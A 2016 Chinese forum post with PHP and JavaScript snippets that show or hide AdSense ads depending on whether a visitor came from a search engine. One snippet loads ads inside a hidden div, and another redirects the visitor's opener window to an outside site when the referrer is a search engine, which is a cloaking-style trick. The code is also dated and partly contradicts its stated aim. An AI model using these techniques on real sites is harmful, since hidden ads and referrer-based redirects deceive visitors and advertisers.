通过来路判断来实现网站自主输入访客流量不显示广告的几种方法 提高AdSense单价

[复制链接]
admin 发表于 2016-6-21 23:59:41 | 显示全部楼层 |阅读模式
很多时候,站长自己过多的访问网站页面,造成展示过多的话,可能影响AdSense广告单价,而且对自己的体验也不好,还会拖慢网站速度。

那么如果能够让主动输入网址进来的访客在浏览网页的时候,不显示广告的话,会让人们有收藏和分享网站的可能。而一些知名网站,通过JS代码实现关闭广告,并且记录cookie,只要不删除记录就能继续保持无广告浏览。还有一些网站,通过判断来路,只让百度搜索进来的用户,才会在网页上看到展示的广告。

搜索了一些通过判断来路来屏蔽广告的方案,下面这些可以参考:

  1. php判断搜索引擎的代码

  2. <?PHP

  3. $referer = $_SERVER['HTTP_REFERER'];

  4. if(!$referer == ''){

  5. if(ereg('http',$referer)){

  6. $referer = @eXPlode('.',$referer);

  7. if(is_array($referer)){

  8. $referer = $referer['1'];

  9. if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){

  10. ?>

  11. <div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>

  12. </div><?php

  13. }

  14. }

  15. }

  16. }

  17. ?>

  18. 而通过Js判断搜索引擎来路的代码则如下

  19. <script type="text/javascript">

  20. function elem(e,url){

  21. var h=document.createElement(e);

  22. h.src=url;

  23. document.getElementsByTagName('head')[0].appendChild(h);

  24. }

  25. function refer(){

  26. var ref=document.referrer;

  27. var baidu=ref.indexOf("baidu");

  28. var soso=ref.indexOf("soso");

  29. var google=ref.indexOf("google");

  30. if(baidu!=-1||soso!=-1||google!=-1){

  31. elem("script","http://127.0.0.1/js.js");

  32. }

  33. }

  34. refer()

  35. </script>

  36. 另外附上自己百度谷歌的一份代码

  37. <script language="javascript">

  38. var s=document.referrer

  39. if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

  40. window.opener.navigate("http://www.hengnang.com")

  41. </script>
复制代码
如果你有什么好的方法,欢迎分享

对于discuz论坛程序的站长来说,由于站长自己管理和发帖都需要在前台操作,因此如果能够不显示广告的话,会有多方面的好处,期待有技术员能开发出discuz判断流量来路来显示广告的管理插件,应该不难实现。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 加入我们

本版积分规则 返回列表 发新帖

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

快速回复 返回顶部 返回列表